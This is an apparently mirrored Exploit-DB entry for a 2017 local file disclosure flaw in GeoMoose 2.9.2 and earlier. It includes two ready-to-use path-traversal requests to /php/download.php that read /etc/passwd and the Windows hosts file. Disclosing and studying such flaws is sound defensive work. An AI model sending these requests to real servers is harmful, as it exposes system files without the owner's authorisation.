header-logo
Suggest Exploit
vendor:
GeoMoose
by:
Sander 'dsc' Ferdinand
7.5
CVSS
HIGH
Local File Disclosure
22
CWE
Product Name: GeoMoose
Affected Version From: <= 2.9.2
Affected Version To: 2.9.2002
Patch Exists: NO
Related CWE: none
CPE: geomoose
Metasploit:
Other Scripts:
Platforms Tested: Windows, Linux
2017

GeoMoose <= 2.9.2 Local File Disclosure

The vulnerability allows an attacker to disclose local files on the target system by exploiting a flaw in the GeoMoose software version 2.9.2 and below. By manipulating the 'id' and 'ext' parameters in the '/php/download.php' URL, an attacker can traverse directories and access sensitive files such as '/etc/passwd' and '/WINDOWS/system32/drivers/etc/hosts'.

Mitigation:

The vendor has been notified and it is recommended to update to a patched version of GeoMoose to mitigate this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: GeoMoose <= 2.9.2 Local File Disclosure
# Exploit Author: Sander 'dsc' Ferdinand
# Date: 2017-03-4
# Version: <= 2.9.2
# Blog: https://ced.pwned.systems/advisories-geomoose-local-file-disclosure-2-9-2.html
# Vendor Homepage: geomoose.org
# Reported: 4-3-2017
# Vendor response: http://osgeo-org.1560.x6.nabble.com/Geomoose-users-GeoMoose-Security-Issue-td5315873.html
# Software Link: https://github.com/geomoose/geomoose
# Tested on: Windows/Linux
# CVE : none

/php/download.php?id=foo/.&ext=/../../../../../../../etc/passwd
/php/download.php?id=foo/.&ext=/../../../../../../../WINDOWS/system32/drivers/etc/hosts

Navigation

Suggest Exploit

Services By CQR